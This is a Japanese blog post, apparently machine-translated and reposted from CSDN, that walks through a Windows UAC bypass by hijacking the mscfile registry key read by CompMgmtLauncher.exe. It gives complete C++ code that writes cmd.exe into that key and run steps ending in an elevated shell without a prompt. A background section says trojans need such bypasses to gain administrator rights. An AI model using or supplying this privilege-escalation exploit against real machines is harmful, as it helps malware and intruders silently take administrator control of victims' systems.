イントラネット用の CompMgmtLauncher プログラム BypassUAC 権限昇格


序文

      BypassUAC 権限昇格 CompMgmtLauncher プログラム。


1. CompMgmtLauncherの役割

     1) Windows 10 では、CompMgmtLauncher.exe プログラムをダブルクリックすることで直接開くことができ、クリックして確認を求めるウィンドウは表示されず、コンピューターの管理が開きます。サーバー マネージャーである Windows 2019 サーバーで直接開くこともできます。CompMgmtLauncher.exe プログラムは Windows のホワイトリストに登録されているプログラムであるため、これを使用して UAC のバイパスを実行できます。
ここに画像の説明を挿入します

ここに画像の説明を挿入します
ここに画像の説明を挿入します
     2) CompMgmtLauncher.exe の起動プロセス中の重要な操作は、最初にレジストリを読み取ることです。レジストリ パスは、computer\HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command data です。システム レジストリ エディタ regedit.exe を開き、対応するパスの下のレジストリを確認し、レジストリ パスが存在しないことを確認します。したがって、登録パスを自分で構築し、スタートアッププログラムのパスを記述すると、CompMgmtLauncher.exe によってプログラムが起動されます。

2. CompMgmtLauncher を使用して UAC をバイパスする

     1) C++ ファイルを作成します。

#include <tchar.h>  
#include <windows.h>
#include <iostream>
using namespace std;

void bypass() {
    
    
    HKEY key;
    LPCSTR lpszFileName = "C:\\Windows\\System32\\cmd.exe";
    RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\classes\\mscfile\\shell\\open\\command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &key, NULL);
    if (key == NULL) {
    
    
        cout << "Error" << endl;
    }
    if (RegSetValueExA(key, NULL, 0, (DWORD)REG_SZ, (BYTE*)lpszFileName, strlen(lpszFileName) + 1) != ERROR_SUCCESS) {
    
    
        cout << "Error" << endl;

    }
    RegCloseKey(key);

}


int _tmain(int argc, _TCHAR* argv[])
{
    
    
    bypass();
    getchar();
    return 0;
}

ここに画像の説明を挿入します
     2) クリックして実行を開始し、すべてを使用して CompMgmtLauncher.exe プログラムを検索し、ダブルクリックして実行すると、コンピュータ管理インターフェイスではなく、コンピュータ管理というラベルの付いた cmd コマンド インターフェイスがポップアップ表示されることがわかります。UAC のバイパスに成功しました。
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここに画像の説明を挿入します

3. 背景(キャラクターを構成するために使用されます)

     UAC (ユーザー アカウント制御) は、Microsoft が Windows Vista の以降のバージョンで導入したセキュリティ メカニズムです。管理者が特に管理者レベルのシステム アクセスを許可しない限り、UAC を通じて、アプリケーションとタスクは常に管理者以外のアカウントのセキュリティ コンテキストで実行できます。アクセス許可。UAC は、不正なアプリケーションが自動的にインストールされるのを防ぎ、システム設定への不注意な変更を防ぎます。

     承認が必要な UAC アクションには、Windows Update の構成、ユーザー アカウントの追加または削除、ユーザーのアカウント タイプの変更、UAC 設定の変更、ActiveX のインストール、プログラムのインストールまたは削除、デバイス ドライバーのインストール、ペアレンタル コントロールの設定、ファイルの移動またはコピーが含まれます。 Program Files または Windows ディレクトリへの移動、他のユーザー フォルダーの表示など。

     UAC がトリガーされると、システムはconsent.exe プロセスを作成します。このプロセスは、ホワイトリスト プログラムとユーザーの選択を使用して、管理者特権プロセスを作成するかどうかを決定します。要求プロセスは、LPC インターフェイスを介して、要求されたプロセス コマンドラインとプロセス パスを appinfo の RAiLuanchAdminProcess 関数に渡します。この関数は、まずパスがホワイトリストにあるかどうかを検証し、その結果をconsent.exe プロセスに渡します。このプロセスは、要求されたプロセスの署名とチェックを検証します。イニシエーターの権限が要件を満たしているかどうかを確認し、ユーザーに確認を求める UAC ボックスをポップアップ表示するかどうかを決定します。この UAC ボックスは、新しい安全なデスクトップを作成し、以前のインターフェイスをブロックします。同時に、この UAC ボックス プロセスは SYSTEM 権限プロセスであり、他の通常のプロセスは通信および対話できません。ユーザーが確認した後、CreateProcessAsUser 関数が呼び出され、要求されたプロセスが管理者権限で開始されます。

     したがって、ウイルス トロイの木馬がさらに多くの権限操作を実行したい場合は、UAC ポップアップ ウィンドウをバイパスし、ユーザーに通知せずにプログラムの通常の権限を管理者権限にアップグレードし、必要な操作をプログラムが実行できるようにする必要があります。許可。現在、バイパス UAC を実装するには主に 2 つの方法があります。1 つはホワイトリスト特権昇格メカニズムを使用する方法、もう 1 つは COM コンポーネント インターフェイス テクノロジを使用する方法です。

おすすめ

転載: blog.csdn.net/qq_44029310/article/details/127263514